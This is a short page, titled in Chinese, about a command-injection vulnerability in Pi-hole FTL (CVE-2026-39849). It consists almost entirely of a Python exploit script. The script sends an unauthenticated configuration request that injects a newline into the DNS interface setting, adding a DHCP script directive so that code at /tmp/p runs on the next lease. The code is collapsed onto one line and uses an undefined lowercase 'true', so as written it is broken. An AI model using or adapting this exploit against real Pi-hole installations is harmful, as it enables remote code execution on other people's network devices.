CVE-2026-39849 Pi-hole FTL命令注入漏洞

import requests import json # Target Pi-hole FTL API URL # Note: Default installation often exposes this on port 80 or 443 TARGET_URL = "http://<target-ip>/api/config" # Malicious payload exploiting the newline injection in dns.interface # The payload fits within the 31 byte limit (strncpy constraint) # 'wlan0' + newline + 'dhcp-script=/tmp/p' PAYLOAD = "wlan0\ndhcp-script=/tmp/p" # Headers for the API request headers = { "Content-Type": "application/json" } # The configuration data to be sent # This injects the payload and enables DHCP to trigger the script data = { "config": { "dns": { "interface": PAYLOAD }, "dhcp": { "active": true } } } try: # Send the malicious configuration request # Exploits the lack of authentication on default installs response = requests.put(TARGET_URL, headers=headers, data=json.dumps(data), timeout=5) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] DHCP script set to: /tmp/p") print("[+] Waiting for a DHCP lease request to trigger the execution...") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")